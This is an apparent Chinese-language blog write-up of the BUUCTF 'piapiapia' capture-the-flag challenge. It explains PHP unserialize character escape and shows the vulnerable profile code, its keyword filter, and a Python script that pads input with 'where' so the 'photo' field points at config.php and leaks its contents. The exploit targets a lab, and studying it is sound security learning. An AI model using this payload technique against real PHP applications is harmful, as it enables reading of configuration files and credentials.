当反序列化到足够的长度时,后面的数据会被扔掉。
来一个小实验简单说明一下:

<?php
$a[0] = "hello ";
$a[1] = "world!";

$tmp = serialize($a);
echo $tmp . "<br>";
var_dump(unserialize($tmp));
?>

输出:

a:2:{i:0;s:6:"hello ";i:1;s:6:"world!";}
array(2) { [0]=> string(6) "hello " [1]=> string(6) "world!" }

如果我们将序列化后的字符串改一改:

a:2:{i:0;s:6:"hello ";i:1;s:6:"hacker";}";i:1;s:6:"world!";}

输出就会变成这样:

array(2) { [0]=> string(6) "hello " [1]=> string(6) "hacker" }

多出来的那些字符就给舍弃了。

下面来一道题目来具体操作一下吧。

BUUCTF-piapiapia (0ctf_2016_unserialize)

部分源码

进去后扫一波目录,发现 www.zip 目录下有源码。
简单审计源码发现,config.php 文件里有 flag :

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

profile.php 文件里有危险函数 file_get_contents ,并且还有反序列化。

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

查找一下,发现在 update.php 中序列化了这四个变量:

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

并且这些变量都是可控的。

跟进这个 update_profile 函数,发现这个函数调用了一些 waf :

    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

可以看到 waf 将一些关键字 'select', 'insert', 'update', 'delete', 'where' 替换成了 hacker

注意到 wherehacker 的字符数量不同,这里就存在反序列化字符逃逸了。

那么整个流程就出来了:通过传入恶意字符串导致 config.php 逃逸,从而使 photo 变量的值为 config.php ,再通过 profile.php 中的 file_get_contents 函数来读取 flag 。

最后一个问题就是对四个变量的过滤了。观察可以发现 nickname 的过滤用数组就可以绕过:preg_match 遇到数组会返回 false ,strlen 也可以通过数组绕过。于是构造 payload:

# encoding: utf-8

s = '";}s:5:"photo";s:10:"config.php";}'
l = len (s)
a = "where" * l + s
print (a)

访问 profile.php 即可拿到源码,得到 flag 。

Last modification:August 18th, 2019 at 03:37 pm
If you think my article is useful to you, please feel free to appreciate